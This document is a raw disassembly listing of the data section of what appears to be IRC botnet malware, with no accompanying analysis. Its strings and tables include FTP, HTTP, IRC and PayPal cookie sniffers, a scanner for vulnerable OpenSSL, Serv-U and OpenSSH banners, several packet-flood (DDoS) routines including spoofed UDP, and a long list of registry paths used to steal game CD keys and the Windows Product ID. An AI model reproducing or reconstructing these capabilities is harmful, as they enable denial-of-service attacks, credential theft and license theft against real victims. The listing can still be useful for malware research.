aYouAreNowAnIrc	db 'You are now an IRC Operator',0 ; DATA XREF: sub_412F30+62o
; char aFtpSniff[]
aFtpSniff	db 'FTP sniff',0        ; DATA XREF: sub_412FA6+5o
		align 4
; char aNick_3[]
aNick_3		db 'NICK ',0            ; DATA XREF: sub_412FA6+2Bo
		align 10h
; char a220[]
a220		db '220 ',0             ; DATA XREF: sub_412FA6+3Co
		align 4
; char a230[]
a230		db '230 ',0             ; DATA XREF: sub_412FA6:loc_412FF7o
		align 10h
; char aUser_2[]
aUser_2		db 'USER ',0            ; DATA XREF: sub_412FA6+62o
		align 4
; char aPass_0[]
aPass_0		db 'PASS ',0            ; DATA XREF: sub_412FA6+73o
		align 10h
; char aHttpSniff[]
aHttpSniff	db 'HTTP sniff',0       ; DATA XREF: sub_41302D+5o
		align 4
; char aPaypal[]
aPaypal		db 'paypal',0           ; DATA XREF: sub_41302D+2Bo
		align 4
; char aPaypal_0[]
aPaypal_0	db 'PAYPAL',0           ; DATA XREF: sub_41302D:loc_41306Do
		align 4
; char aPaypal_com[]
aPaypal_com	db 'PAYPAL.COM',0       ; DATA XREF: sub_41302D+51o
		align 4
; char aPaypal_com_0[]
aPaypal_com_0	db 'paypal.com',0       ; DATA XREF: sub_41302D+62o
		align 4
; char aSetCookie[]
aSetCookie	db 'Set-Cookie:',0      ; DATA XREF: sub_41302D+73o
; char aVulnSniff[]
aVulnSniff	db 'VULN sniff',0       ; DATA XREF: sub_4130B4+5o
		align 4
; char aOpenssl0_9_6[]
aOpenssl0_9_6	db 'OpenSSL/0.9.6',0    ; DATA XREF: sub_4130B4+2Bo
		align 4
; char aServUFtpServer[]
aServUFtpServer	db 'Serv-U FTP Server',0 ; DATA XREF: sub_4130B4:loc_4130F4o
		align 10h
; char aOpenssh_2[]
aOpenssh_2	db 'OpenSSH_2',0        ; DATA XREF: sub_4130B4+51o
		align 4
; char asc_44DA7C[]
asc_44DA7C	db '-'                  ; DATA XREF: sub_413119+C5o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBindFailedRe_0	db '- bind() failed, returned %d',0
		align 4
; char asc_44DAA8[]
asc_44DAA8	db '-'                  ; DATA XREF: sub_413119+14Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aWsaioctlFail_0	db '- WSAIoctl() failed, returned %d',0
		align 4
; char aS_35[]
aS_35		db '%s',0               ; DATA XREF: sub_413119+228o
		align 4
; char aS_36[]
aS_36		db '%s',0               ; DATA XREF: sub_413119+250o
		align 10h
unk_44DAE0	db  2Dh	; -		; DATA XREF: sub_413119+2E2o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBotSniffSDToSD	db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0
unk_44DB14	db  2Dh	; -		; DATA XREF: sub_413119+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aIrcSniffSDToSD	db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0
unk_44DB48	db  2Dh	; -		; DATA XREF: sub_413119+351o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFtpSniffSDToSD	db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0
; char asc_44DB7C[]
asc_44DB7C	db '-'                  ; DATA XREF: sub_413119+382o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aHttpSniffSDToS	db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_44DBB4	db  2Dh	; -		; DATA XREF: sub_413119+3ECo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVulnSniffSDToS	db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
; char asc_44DBEC[]
asc_44DBEC	db '-'                  ; DATA XREF: sub_41350C+5Eo
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodA	db 'done with flood at %iKB/sec',0
; char aDdos_syn_0[]
aDdos_syn_0	db 'ddos.syn',0         ; DATA XREF: sub_4135C1+F1o
		align 10h
; char aDdos_ack_0[]
aDdos_ack_0	db 'ddos.ack',0         ; DATA XREF: sub_4135C1:loc_4136D1o
		align 4
; char aDdos_random_0[]
aDdos_random_0	db 'ddos.random',0      ; DATA XREF: sub_4135C1:loc_4136EDo
; char asc_44DC38[]
asc_44DC38	db '-'                  ; DATA XREF: sub_4135C1+302o
		db 3, 34h, 2
		dd 736F6464h, 202D0302h, 646E6573h, 72726520h, 203A726Fh
		dd 6425h
; char asc_44DC54[]
asc_44DC54	db '-'                  ; DATA XREF: sub_413956+49o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aSocketFailed_0	db 'socket() failed, returned %d',0
		align 10h
; char asc_44DC80[]
asc_44DC80	db '-'                  ; DATA XREF: sub_413956+C2o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aSetsockoptFail	db 'setsockopt() failed, returned %d',0
		align 10h
; char asc_44DCB0[]
asc_44DCB0	db '-'                  ; DATA XREF: sub_413956+12Ao
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aInvalidTargetI	db 'invalid target ip',0
		align 10h
; char asc_44DCD0[]
asc_44DCD0	db '-'                  ; DATA XREF: sub_413956+307o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aErrorSendingPa	db 'error sending packets to %s. %d packets sent, returned %d',0
		align 4
; char asc_44DD18[]
asc_44DD18	db '-'                  ; DATA XREF: sub_413956+397o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aDoneWithSFlood	db 'done with %s flood to %s. sent %d packets @ %dKB/sec (%dMB).',0
		align 4
; char asc_44DD64[]
asc_44DD64	db '-'                  ; DATA XREF: sub_413D3D+6Eo
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aErrorSendingPi	db 'error sending pings to %s',0
		align 4
; char asc_44DD8C[]
asc_44DD8C	db '-'                  ; DATA XREF: sub_413D3D+13Co
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aFinishedSendin	db 'finished sending pings to %s',0
		align 4
; char asc_44DDB8[]
asc_44DDB8	db '-'                  ; DATA XREF: sub_413EC9+8Eo
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aErrorSending_0	db '- error sending packets to %s',0
		align 10h
; char asc_44DDE0[]
asc_44DDE0	db '-'                  ; DATA XREF: sub_413EC9+1C6o
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aFinishedSend_0	db '- finished sending packets to %s',0
		align 4
; char asc_44DE0C[]
asc_44DE0C	db '-'                  ; DATA XREF: sub_4140DF+4Bo
		db 3, 34h, 2
		dd 73796B73h, 3026E79h
aDoneWithFloodI	db '- Done with flood (%iKB/sec)',0
		align 4
; char asc_44DE38[]
asc_44DE38	db '-'                  ; DATA XREF: sub_414285+4Bo
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aDoneWithFloo_0	db '- Done with flood (%iKB/sec).',0
		align 10h
; char asc_44DE60[]
asc_44DE60	db '-'                  ; DATA XREF: sub_414324+27Do
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aSendErrorD_	db '- Send error: <%d>.',0
		align 10h
; char asc_44DE80[]
asc_44DE80	db '-'                  ; DATA XREF: sub_414630+4Fo
		db 3, 34h, 2
		dd 67726174h, 3023361h
aDoneWithFlood_	db '- Done with flood.',0
		align 10h
; char asc_44DEA0[]
asc_44DEA0	db '-'                  ; DATA XREF: sub_4148EE+70o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aErrorSocketFai	db '- Error: socket() failed, returned: <%d>.',0
		align 4
; char asc_44DED4[]
asc_44DED4	db '-'                  ; DATA XREF: sub_4148EE+EEo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aErrorSetsockop	db '- Error: setsockopt() failed, returned: <%d>.',0
		align 4
; char asc_44DF0C[]
asc_44DF0C	db '-'                  ; DATA XREF: sub_4148EE+15Fo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidTarge_0	db '- Invalid target IP.',0
		align 4
; char aSyn_1[]
aSyn_1		db 'syn',0              ; DATA XREF: sub_4148EE+2D2o
; char aAck_0[]
aAck_0		db 'ack',0              ; DATA XREF: sub_4148EE+2F2o
; char aRandom_2[]
aRandom_2	db 'random',0           ; DATA XREF: sub_4148EE+312o
		align 4
; char asc_44DF3C[]
asc_44DF3C	db '-'                  ; DATA XREF: sub_4148EE+44Fo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aErrorSending_1	db '- Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
		db 'd>.',0
		align 4
; char asc_44DF8C[]
asc_44DF8C	db '-'                  ; DATA XREF: sub_4148EE+4EBo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aDoneWithSFlo_0	db '- Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
		db 'MB).',0
		align 4
; char asc_44DFDC[]
asc_44DFDC	db '-'                  ; DATA XREF: sub_414E84+66o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aDoneWithFloodD	db '- Done with flood, %d packets sent.',0
		align 10h
; char aD_D_D_D_1[]
aD_D_D_D_1	db '%d.%d.%d.%d',0      ; DATA XREF: sub_414F3C+C9o
; char asc_44E01C[]
asc_44E01C	db '-'                  ; DATA XREF: sub_415187+4Do
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aStartingWisdom	db '- Starting Wisdom spoofed UDP flood thread.',0
		align 4
; char asc_44E05C[]
asc_44E05C	db '-'                  ; DATA XREF: sub_4151FE+2Ao
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorCallingSo	db '- Error calling socket().',0
		align 4
unk_44E088	db  2Dh	; -		; DATA XREF: sub_4151FE+63o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorCallingSe	db '- Error calling setsockopt(). WSAGetLastError() returns %d.',0
		align 4
; char asc_44E0D8[]
asc_44E0D8	db '-'                  ; DATA XREF: sub_4151FE+80o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aInvalidTarge_1	db '- Invalid target IP. WSAGetLastError() returns %d.',0
; char asc_44E11C[]
asc_44E11C	db '-'                  ; DATA XREF: sub_4151FE+CCo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aSendingPackets	db '- Sending packets to %s...',0
; char aD_D_D_D_2[]
aD_D_D_D_2	db '%d.%d.%d.%d',0      ; DATA XREF: sub_4151FE+180o
unk_44E154	db  2Dh	; -		; DATA XREF: sub_4151FE+345o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorSending_2	db '- Error sending packets to %s. eax=SOCKET_ERROR, WSAGetLastError('
		db ')=%d. sizeof(buffer) = %d. Packets sent sucessfully = %d.',0
; char asc_44E1E0[]
asc_44E1E0	db '-'                  ; DATA XREF: sub_4151FE+2F3o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aFinishedSend_1	db '- Finished sending packets to %s. Sent %d packet(s). ~%dMB of dat'
		db 'a sent (~%dK/s).',0
		align 4
; char asc_44E244[]
asc_44E244	db '-'                  ; DATA XREF: sub_41554A+60o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodP	db 'Done with flood, ports hit: %s',0
		align 10h
; char asc_44E270[]
asc_44E270	db ' ',0                ; DATA XREF: sub_4156E7+1C5o
		align 4
; char aSD[]
aSD		db '%s%d ',0            ; DATA XREF: sub_4156E7+207o
		align 4
dword_44E27C	dd 234032Dh, 61696C61h,	696C2073h, 3027473h, 2Dh ; DATA	XREF: sub_415BFF+10o
; char aD_[]
aD_		db '%d. '               ; DATA XREF: sub_415BFF+35o
		dd 73253403h, 203D2003h, 73253703h, 3
; char a_2d_2d4d_2d_2d[]
a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_415C77+60o
		align 4
dword_44E2C8	dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: .text:00415D33o
dword_44E2D4	dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
					; DATA XREF: sub_415DB4+20o
dword_44E2E8	dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
					; DATA XREF: sub_415DB4:loc_415DE9o
dword_44E2FC	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
					; DATA XREF: sub_415E27+3Fo
		dd 676E6974h, 0
; char asc_44E318[]
asc_44E318	db '-'                  ; DATA XREF: sub_415E27+DCo
		db 3, 34h, 2
		dd 2676F6Ch, 6C202D03h,	20747369h, 706D6F63h, 6574656Ch
		dd 0
aDisplay	db 'DISPLAY',0          ; DATA XREF: sub_415F56+11o
aWindow		db 'Window',0           ; DATA XREF: sub_416191+23o
		align 4
aWindow_0	db 'Window',0           ; DATA XREF: sub_41638A+26o
		align 10h
		dd 80000001h
off_44E354	dd offset aSoftwareValveC ; DATA XREF: sub_4165C9+Cr
					; sub_4165C9+21o
					; "Software\\Valve\\CounterStrike\\Settings"
		dd offset aCdkey_0	; "CDKey"
		dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_44E360	dd 2 dup(0)		; DATA XREF: sub_4165C9+26o
		dd 80000001h
		dd offset aSoftwareEugenS ; "Software\\Eugen Systems\\The Gladiators"
		dd offset aRegnumber	; "RegNumber"
		dd offset aTheGladiators ; "The	Gladiators"
		align 10h
		dd 80000001h
		dd offset aSoftwareValveG ; "Software\\Valve\\Gunman\\Settings"
		dd offset aKey_0	; "Key"
		dd offset aGunmanChronicl ; "Gunman Chronicles"
		dd 2 dup(0)
		dd 80000001h
		dd offset aSoftwareValveH ; "Software\\Valve\\Half-Life\\Settings"
		dd offset aKey_1	; "Key"
		dd offset aHalfLife	; "Half-Life"
		align 10h
		dd 80000001h
		dd offset aSoftwareJowood ; "Software\\JoWooD\\InstalledGames\\IG2"
		dd offset aPrvkey	; "prvkey"
		dd offset aIndustryGiant2 ; "Industry Giant 2"
		dd 2 dup(0)
		dd 80000001h
		dd offset aSoftware3d0Sta ; "Software\\3d0\\Status"
		dd offset aCustomernumber ; "CustomerNumber"
		dd offset aLegendsOfMight ; "Legends of	Might and Magic"
		align 10h
		dd 80000001h
		dd offset aSoftwareSilver ; "Software\\Silver Style Entertainment\\Sol"...
		dd offset aCdkey_1	; "CDKey"
		dd offset aSoldiersOfAnar ; "Soldiers Of Anarchy"
		dd 2 dup(0)
		dd 80000002h
		dd offset aSoftwareMicr_2 ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		dd offset aProductid	; "ProductId"
		dd offset aMicrosoftWindo ; "Microsoft Windows Product ID"
		align 10h
		dd 80000002h
		dd offset aSoftwareUnreal ; "Software\\Unreal Technology\\Installed Ap"...
		dd offset aCdkey_2	; "CDKey"
		dd offset aUnrealTourname ; "Unreal Tournament 2003"
		dd 2 dup(0)
		dd 80000002h
		dd offset aSoftwareUnre_0 ; "Software\\Unreal Technology\\Installed Ap"...
		dd offset aCdkey_3	; "CDKey"
		dd offset aUnrealTourna_0 ; "Unreal Tournament 2004"
		align 10h
		dd 80000002h
		dd offset aSoftwareIgi2Re ; "Software\\IGI 2 Retail"
		dd offset aCdkey_4	; "CDKey"
		dd offset aIgi2CovertStri ; "IGI 2: Covert Strike"
		dd 2 dup(0)
		dd 80000002h
		dd offset aSoftwareElectr ; "Software\\Electronic Arts\\EA Distributio"...
		dd offset dword_4EBEA0
		dd offset aFreedomForce	; "Freedom Force"
		align 10h
		dd 80000002h
		dd offset aSoftwareElec_0 ; "Software\\Electronic Arts\\EA GAMES\\Battl"...
		dd offset dword_4EBEA4
		dd offset aBattlefield194 ; "Battlefield 1942"
		dd 2 dup(0)
		dd 80000002h
		dd offset aSoftwareElec_1 ; "Software\\Electronic Arts\\EA GAMES\\Battl"...
		dd offset dword_4EBEA8
		dd offset aBattlefield1_0 ; "Battlefield 1942 (Road To Rome)"
		align 10h
		dd 80000002h
		dd offset aSoftwareElec_2 ; "Software\\Electronic Arts\\EA GAMES\\Battl"...
		dd offset dword_4EBEAC
		dd offset aBattlefield1_1 ; "Battlefield 1942 (Secret Weapons of WWI"...
		dd 2 dup(0)
		dd 80000002h
		dd offset aSoftwareElec_3 ; "Software\\Electronic Arts\\EA GAMES\\Battl"...
		dd offset dword_4EBEB0
		dd offset aBattlefieldVie ; "Battlefield Vietnam"
		align 10h
		dd 80000002h
		dd offset aSoftwareElec_4 ; "Software\\Electronic Arts\\EA GAMES\\Black"...
		dd offset dword_4EBEB4
		dd offset aBlackAndWhite ; "Black and White"
		dd 2 dup(0)
		dd 80000002h
		dd offset aSoftwareElec_5 ; "Software\\Electronic Arts\\EA GAMES\\Comma"...
		dd offset dword_4EBEB8
		dd offset aCommandAndConq ; "Command and Conquer: Generals (Zero Hou"...
		align 10h
		dd 80000002h
		dd offset aSoftwareElec_6 ; "Software\\Electronic Arts\\EA GAMES\\James"...
		dd offset dword_4EBEBC
		dd offset aJamesBond007Ni ; "James Bond	007: Nightfire"
		dd 2 dup(0)
		dd 80000002h
		dd offset aSoftwareElec_7 ; "Software\\Electronic Arts\\EA GAMES\\Gener"...
		dd offset dword_4EBEC0
		dd offset aCommandAndCo_0 ; "Command and Conquer: Generals"
		align 10h
		dd 80000002h
		dd offset aSoftwareElec_8 ; "Software\\Electronic Arts\\EA GAMES\\Globa"...
		dd offset dword_4EBEC4
		dd offset aGlobalOperatio ; "Global Operations"
		dd 2 dup(0)
		dd 80000002h
		dd offset aSoftwareElec_9 ; "Software\\Electronic Arts\\EA GAMES\\Medal"...
		dd offset dword_4EBEC8
		dd offset aMedalOfHonorAl ; "Medal of Honor: Allied Assault"
		align 10h
		dd 80000002h
		dd offset aSoftwareEle_10 ; "Software\\Electronic Arts\\EA GAMES\\Medal"...
		dd offset dword_4EBECC
		dd offset aMedalOfHonor_0 ; "Medal of Honor: Allied Assault: Breakth"...
		dd 2 dup(0)
		dd 80000002h
		dd offset aSoftwareEle_11 ; "Software\\Electronic Arts\\EA GAMES\\Medal"...
		dd offset dword_4EBED0
		dd offset aMedalOfHonor_1 ; "Medal of Honor: Allied Assault: Spearhe"...
		align 10h
		dd 80000002h
		dd offset aSoftwareEle_12 ; "Software\\Electronic Arts\\EA GAMES\\Need "...
		dd offset aErgc		; "ergc"
		dd offset aNeedForSpeedHo ; "Need For Speed Hot	Pursuit	2"
		dd 2 dup(0)
		dd 80000002h
		dd offset aSoftwareEle_13 ; "Software\\Electronic Arts\\EA GAMES\\Need "...
		dd offset dword_4EBED4
		dd offset aNeedForSpeedUn ; "Need For Speed: Underground"
		align 10h
		dd 80000002h
		dd offset aSoftwareEle_14 ; "Software\\Electronic Arts\\EA GAMES\\Shogu"...
		dd offset dword_4EBED8
		dd offset aShogunTotalWar ; "Shogun: Total War:	Warlord	Edition"
		dd 2 dup(0)
		dd 80000002h
		dd offset aSoftwareEle_15 ; "Software\\Electronic Arts\\EA Sports\\FIFA"...
		dd offset dword_4EBEDC
		dd offset aFifa2002	; "FIFA	2002"
		align 10h
		dd 80000002h
		dd offset aSoftwareEle_16 ; "Software\\Electronic Arts\\EA Sports\\FIFA"...
		dd offset dword_4EBEE0
		dd offset aFifa2003	; "FIFA	2003"
		dd 2 dup(0)
		dd 80000002h
		dd offset aSoftwareEle_17 ; "Software\\Electronic Arts\\EA Sports\\NHL "...
		dd offset dword_4EBEE4
		dd offset aNhl2002	; "NHL 2002"
		align 10h
		dd 80000002h
		dd offset aSoftwareEle_18 ; "Software\\Electronic Arts\\EA Sports\\NHL "...
		dd offset dword_4EBEE8
		dd offset aNhl2003	; "NHL 2003"
		dd 2 dup(0)
		dd 80000002h
		dd offset aSoftwareEle_19 ; "Software\\Electronic Arts\\EA Sports\\Nasc"...
		dd offset dword_4EBEEC
		dd offset aNascarRacing20 ; "Nascar Racing 2002"
		align 10h
		dd 80000002h
		dd offset aSoftwareEle_20 ; "Software\\Electronic Arts\\EA Sports\\Nasc"...
		dd offset dword_4EBEF0
		dd offset aNascarRacing_0 ; "Nascar Racing 2003"
		dd 2 dup(0)
		dd 80000002h
		dd offset aSoftwareRedSto ; "Software\\Red Storm Entertainment\\RAVENS"...
		dd offset aCdkey_5	; "CDKey"
		dd offset aRainbowSixIiiR ; "Rainbow Six III RavenShield"
		align 10h
		dd 80000002h
		dd offset aSoftwareWestwo ; "Software\\Westwood\\Tiberian Sun"
		dd offset aSerial	; "Serial"
		dd offset aCommandAndCo_1 ; "Command and Conquer: Tiberian Sun"
		dd 2 dup(0)
		dd 80000002h
		dd offset aSoftwareWest_0 ; "Software\\Westwood\\Red Alert"
		dd offset aSerial_0	; "Serial"
		dd offset aCommandAndCo_2 ; "Command and Conquer: Red Alert"
		align 10h
		dd 80000002h
		dd offset aSoftwareWest_1 ; "Software\\Westwood\\Red Alert 2"
		dd offset aSerial_1	; "Serial"
		dd offset aCommandAndCo_3 ; "Command and Conquer: Red Alert 2"
		dd 2 dup(0)
		dd 80000002h
		dd offset aSoftwareWest_2 ; "Software\\Westwood\\NOX"
		dd offset aSerial_2	; "Serial"
		dd offset aNox		; "NOX"
		align 10h
		dd 80000002h
		dd offset aSoftwareTechla ; "Software\\Techland\\Chrome"
		dd offset aSerialnumber	; "SerialNumber"
		dd offset aChrome	; "Chrome"
		dd 2 dup(0)
		dd 80000002h
		dd offset aSoftwareIllusi ; "Software\\Illusion	Softworks\\Hidden & Da"...
		dd offset aKey_2	; "key"
		dd offset aHiddenDangerou ; "Hidden & Dangerous	2"
		align 10h
		dd 80000002h
		dd offset aSoftwareActivi ; "Software\\Activision\\Soldier of Fortune "...
		dd offset aInstallpath	; "InstallPath"
		dd offset aSoldierOfFortu ; "Soldier of	Fortune	II - Double Helix"
		dd offset aBaseMpSof2key ; "base\\mp\\sof2key"
		dd offset aMtkwftmkemfew3 ; "mtkwftmkemfew3p3b7"
		dd 80000002h
		dd offset aSoftwareBiowar ; "Software\\BioWare\\NWN\\Neverwinter"
		dd offset aLocation	; "Location"
		dd offset aNeverwinterNig ; "Neverwinter Nights"
		dd offset aNwncdkey_ini	; "nwncdkey.ini"
		dd offset aKey1		; "Key1="
		dd 80000002h
		dd offset aSoftwareBiow_0 ; "Software\\BioWare\\NWN\\Neverwinter"
		dd offset aLocation_0	; "Location"
		dd offset aNeverwinterN_0 ; "Neverwinter Nights	(Shadows of Undrenti"...
		dd offset aNwncdkey_ini_0 ; "nwncdkey.ini"
		dd offset aKey2		; "Key2="
		dd 80000002h
		dd offset aSoftwareBiow_1 ; "Software\\BioWare\\NWN\\Neverwinter"
		dd offset aLocation_1	; "Location"
		dd offset aNeverwinterN_1 ; "Neverwinter Nights	(Hordes	of the Under"...
		dd offset aNwncdkey_ini_1 ; "nwncdkey.ini"
		dd offset aKey3		; "Key3="
		dd 6 dup(0)
aSoftwareValveC	db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: .data:off_44E354o
		align 10h
aCdkey_0	db 'CDKey',0            ; DATA XREF: .data:0044E358o
		align 4
aCounterStrikeR	db 'Counter-Strike (Retail)',0 ; DATA XREF: .data:0044E35Co
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0 ; DATA XREF: .data:0044E36Co
		align 4
aRegnumber	db 'RegNumber',0        ; DATA XREF: .data:0044E370o
		align 4
aTheGladiators	db 'The Gladiators',0   ; DATA XREF: .data:0044E374o
		align 4
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0 ; DATA XREF: .data:0044E384o
		align 4
aKey_0		db 'Key',0              ; DATA XREF: .data:0044E388o
aGunmanChronicl	db 'Gunman Chronicles',0 ; DATA XREF: .data:0044E38Co
		align 4
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0 ; DATA XREF: .data:0044E39Co
		align 10h
aKey_1		db 'Key',0              ; DATA XREF: .data:0044E3A0o
aHalfLife	db 'Half-Life',0        ; DATA XREF: .data:0044E3A4o
		align 10h
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0 ; DATA XREF: .data:0044E3B4o
		align 4
aPrvkey		db 'prvkey',0           ; DATA XREF: .data:0044E3B8o
		align 4
aIndustryGiant2	db 'Industry Giant 2',0 ; DATA XREF: .data:0044E3BCo
		align 10h
aSoftware3d0Sta	db 'Software\3d0\Status',0 ; DATA XREF: .data:0044E3CCo
aCustomernumber	db 'CustomerNumber',0   ; DATA XREF: .data:0044E3D0o
		align 4
aLegendsOfMight	db 'Legends of Might and Magic',0 ; DATA XREF: .data:0044E3D4o
		align 10h
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
					; DATA XREF: .data:0044E3E4o
		align 4
aCdkey_1	db 'CDKey',0            ; DATA XREF: .data:0044E3E8o
		align 4
aSoldiersOfAnar	db 'Soldiers Of Anarchy',0 ; DATA XREF: .data:0044E3ECo
aSoftwareMicr_2	db 'Software\Microsoft\Windows\CurrentVersion',0
					; DATA XREF: .data:0044E3FCo
		align 4
aProductid	db 'ProductId',0        ; DATA XREF: .data:0044E400o
		align 4
aMicrosoftWindo	db 'Microsoft Windows Product ID',0 ; DATA XREF: .data:0044E404o
		align 4
aSoftwareUnreal	db 'Software\Unreal Technology\Installed Apps\UT2003',0
					; DATA XREF: .data:0044E414o
		align 4
aCdkey_2	db 'CDKey',0            ; DATA XREF: .data:0044E418o
		align 4
aUnrealTourname	db 'Unreal Tournament 2003',0 ; DATA XREF: .data:0044E41Co
		align 4
aSoftwareUnre_0	db 'Software\Unreal Technology\Installed Apps\UT2004',0
					; DATA XREF: .data:0044E42Co
		align 10h
aCdkey_3	db 'CDKey',0            ; DATA XREF: .data:0044E430o
		align 4
aUnrealTourna_0	db 'Unreal Tournament 2004',0 ; DATA XREF: .data:0044E434o
		align 10h
aSoftwareIgi2Re	db 'Software\IGI 2 Retail',0 ; DATA XREF: .data:0044E444o
		align 4
aCdkey_4	db 'CDKey',0            ; DATA XREF: .data:0044E448o
		align 10h
aIgi2CovertStri	db 'IGI 2: Covert Strike',0 ; DATA XREF: .data:0044E44Co
		align 4
aSoftwareElectr	db 'Software\Electronic Arts\EA Distribution\Freedom Force\ergc',0
					; DATA XREF: .data:0044E45Co
aFreedomForce	db 'Freedom Force',0    ; DATA XREF: .data:0044E464o
		align 4
aSoftwareElec_0	db 'Software\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
					; DATA XREF: .data:0044E474o
aBattlefield194	db 'Battlefield 1942',0 ; DATA XREF: .data:0044E47Co
		align 10h
aSoftwareElec_1	db 'Software\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Ro'
					; DATA XREF: .data:0044E48Co
		db 'me\ergc',0
		align 4
aBattlefield1_0	db 'Battlefield 1942 (Road To Rome)',0 ; DATA XREF: .data:0044E494o
aSoftwareElec_2	db 'Software\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons'
					; DATA XREF: .data:0044E4A4o
		db ' of WWII\ergc',0
		align 4
aBattlefield1_1	db 'Battlefield 1942 (Secret Weapons of WWII)',0
					; DATA XREF: .data:0044E4ACo
		align 4
aSoftwareElec_3	db 'Software\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
					; DATA XREF: .data:0044E4BCo
		align 4
aBattlefieldVie	db 'Battlefield Vietnam',0 ; DATA XREF: .data:0044E4C4o
aSoftwareElec_4	db 'Software\Electronic Arts\EA GAMES\Black and White\ergc',0
					; DATA XREF: .data:0044E4D4o
		align 10h
aBlackAndWhite	db 'Black and White',0  ; DATA XREF: .data:0044E4DCo
aSoftwareElec_5	db 'Software\Electronic Arts\EA GAMES\Command and Conquer Generals Ze'
					; DATA XREF: .data:0044E4ECo
		db 'ro Hour\ergc',0
		align 10h
aCommandAndConq	db 'Command and Conquer: Generals (Zero Hour)',0
